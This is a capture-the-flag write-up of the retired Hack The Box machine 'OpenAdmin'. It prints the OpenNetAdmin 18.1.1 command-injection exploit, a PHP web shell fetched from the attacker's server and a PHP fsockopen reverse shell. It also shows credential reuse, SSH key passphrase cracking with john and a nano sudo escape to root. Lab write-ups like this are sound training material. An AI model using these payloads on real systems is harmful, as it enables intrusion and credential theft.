Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.

Machine info

OpenAdmin [by dmw0ng ]
OS: Linux
Difficulty: Easy
Release: 4 Jan 2020
Retired: 4 May 2020



As usual we kick off with a nmap scan of the box

$  nmap -v -A -sC -T4 -oA scanning/nmap_openadmin
Nmap scan report for
Host is up (0.033s latency).
Not shown: 974 closed ports
22/tcp  open   ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|  2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|  256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf🇩🇪bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp  open   http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
90/tcp  filtered dnsix
106/tcp  filtered pop3pw
407/tcp  filtered timbuktu
500/tcp  filtered isakmp
1041/tcp filtered danf-ak2
1063/tcp filtered kyoceranetdev
1163/tcp filtered sddp
1309/tcp filtered jtag-server
1311/tcp filtered rxmon
2001/tcp filtered dc
3493/tcp filtered nut
6001/tcp filtered X11:1
6059/tcp filtered X11:59
6100/tcp filtered synchronet-db
7676/tcp filtered imqbrokerd
7920/tcp filtered unknown
8000/tcp open   http     SimpleHTTPServer 0.6 (Python 3.6.8)
| http-methods: 
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.6.8
|_http-title: Directory listing for /
8443/tcp filtered https-alt
8994/tcp filtered unknown
9101/tcp filtered jetdirect
9575/tcp filtered unknown
9943/tcp filtered unknown
40193/tcp filtered unknown
54328/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I believe the SimpleHTTPServer on port 8000 is actually from another pentester who’s exfiltrating some stuff.


Let’s run dirbuster on the website (port 80) to see if we can find any interesting folders or files.

$ dirb /usr/share/dirb/wordlists/common.txt -o scanning/dirb_openadmin_p80.txt -l

DIRB v2.22    
By The Dark Raver

OUTPUT_FILE: scanning/dirb_openadmin_p80.txt
START_TIME: Wed Feb 12 17:14:24 2020
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Printing LOCATION header


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:10918)
+ (CODE:403|SIZE:277)

This gives us the /artwork and /music folders.

Looking at the different pages, we find a login button on the Solmusic website.

Login button on Solmusic

This button leads us to a new website:


ONA, which appears to stand for OpenNetAdmin, provides a database managed inventory of your IP network.

Browsing through tha application, we find that it’s running v18.1.1, which is not the most recent version.

ONA v18.1.1

We also find a hostname, which we could add to our /etc/hosts file.



Using searchsploit we find some potential exploits for OpenNetAdmin. One of the exploits promises RCE (Remote Code Execution) on OpenNetAdmin v18.1.1. PERFECT!

We download the exploit script and have a look at how it works.

$ mkdir exploits
$ cd exploits
$ searchsploit -m 47691
$ cat 
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage:
# Software Link:
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage:
# Software Link:
# Version: v18.1.1
# Tested on: Linux


while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

So we can manually test the exploit, testing the whoami command.

$ curl -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" http://openadmin.htb/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3179  100  3049  100   130  26513   1130 --:--:-- --:--:-- --:--:-- 27643



So let’s try and get a shell on the box.

For this, we create a PHP page that’ll allow us to execute commands on the target box.


<body bgcolor=#000000 text=#ffffff ">
<form method=POST>
<input type=TEXT name="-cmd" size=64 value="<?php echo $cmd ?>" style="background:#000000;color:#ffffff;">
<?php $cmd = $_REQUEST["-cmd"];?>
<?php if($cmd != "") print Shell_Exec($cmd);?>

To quickly transfer the file to the target box, we can set up a webserver on our machine and download the file on the target.

$ python3 -m http.server
Serving HTTP on port 8000 ( ...

$ curl -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";wget;echo \"END\"&xajaxargs[]=ping" http://openadmin.htb/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

Our shell is now available at

We can use is shell to run commands, but it’s also more intuitive to run commands in a terminal instead of a web page.
So let’s provide ourselves with a reverse shell.

# Attacker box
$ nc -lvp 1337

# Web shell
php -r '$sock=fsockopen("",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

And test using whoami again

$ nc -vlp 1337
listening on [any] 1337 ...
connect to [] from openadmin.htb [] 41104
/bin/sh: 0: can't access tty; job control turned off
$ whoami


Continue enumeration

To investigate the box further, we can use LinEnum to help us find interesting paths (for potential privesc).

$ wget
$ chmod u+x
$ ./ | tee LinEnum.log

Looking at the output, we only seem to find usernames.

[-] Users that have previously logged onto the system:
Username         Port     From             Latest
root             tty1                      Sat Jan  4 21:23:05 +0000 2020
jimmy            pts/1      Wed Feb 12 17:36:17 +0000 2020
joanna           pts/3      Wed Feb 12 17:40:59 +0000 2020

So let’s look at some configuration files.
Since ONA uses a database, we might be able to find some db creds.

$ pwd
$ cat local/config/

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',

Password reuse (Jimmy)

Since people tend to reuse passwords, let’s try this password in combination with the username we found.

$ ssh jimmy@
jimmy@'s password: # n1nj4W4rri0R!

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

We now have access to Johny’s account.

Enum, enum, enum

With this new account, we’ll enumerate some more.

We discover that there’s an additional web server running.

jimmy@openadmin:~$ ls /var/www/
html  internal  ona
jimmy@openadmin:~$ ls /var/www/internal/
index.php  logout.php

We have index.php

      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>



Here we find a the sha512 hash for Jimmy’s password.

After a sucessful login, we go to main.php. Let’s have a look at the source of that page.

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

Looks like this page print the private SSH key of Joanna. There’s also a hint about a “ninja” password.

Notice that the code only checks whether the session has a username variable set.

Let’s check the Apache config and see where the internal site is hosted.

jimmy@openadmin:~$ ls /etc/apache2/sites-enabled/
internal.conf  openadmin.conf
jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf


    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


The internal site is hosted on port 52846 on the localhost interface and has internal.openadmin.htb as hostname.
The mod_mpm_itk Apache module causes the Apache process to switch to the domain owner’s user identifier (UID) and group identifier (GID) before it responds to the request. This allows each user to isolate their files from others with the standard file permission settings.
That’s how the webpage is able to read Joanna’s SSH privkey without having to grant read access to the www-data user.

Let’s use cURL to load the main.php page.
Notice how I didn’t have to enter a password. I’m not 100% certain that this isn’t a fluke.

jimmy@openadmin:~$ curl
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

I suspect the ‘correct’ method would be to crack the hash, allowing us to login.
We can use the vast collection of rainbow/lookup tables of CrackStation to help us with that.

CrackStation 'cracked' the hash

We would then pass the password Revealed to the login page, which would result in a valid session and redirect us to main.php

$ curl -XPOST http://localhost:52846 -d "login&username=jimmy&password=Revealed" -L -v

Copy the SSH key to a local file on the attacker’s box and try to SSH as Joanna.

$ chmod 600 ssh.key
$ ssh -i ssh.key joanna@
Enter passphrase for key 'ssh.txt':

Let’s try to crack the password.

$ /usr/share/john/ ssh.key > ssh.key.john

$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.key.john 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (ssh.txt)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-02-13 22:46) 0.3115g/s 4467Kp/s 4467Kc/s 4467KC/sa6_123..*7¡Vamos!
Session completed

So the private key is protected with the password bloodninjas.

Joanna (Flag)

Logging in as Joanna, we find the user flag.

$ ssh -i ssh.key joanna@
Enter passphrase for key 'ssh.txt': # bloodninjas
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

joanna@openadmin:~$ ls
joanna@openadmin:~$ wc -m user.txt 
33 user.txt


Let’s see if this user has any special privileges.

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Looks like Joanna can open /opt/priv in nano using sudo, which gives us admin rights.

GTFObins gives us the perfect resource to find paths for privilege escalation.
We learn that nano allows us to run commands, using Ctrl+R and Ctrl+X.

joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R ^X
Command to execute: ls /root/
^R ^X
Command to execute: cat /root/root.txt

And there we have the root flag :)

This is definitely a box that shows that enumeration is important and that we might need to pivot a few times to get where we want.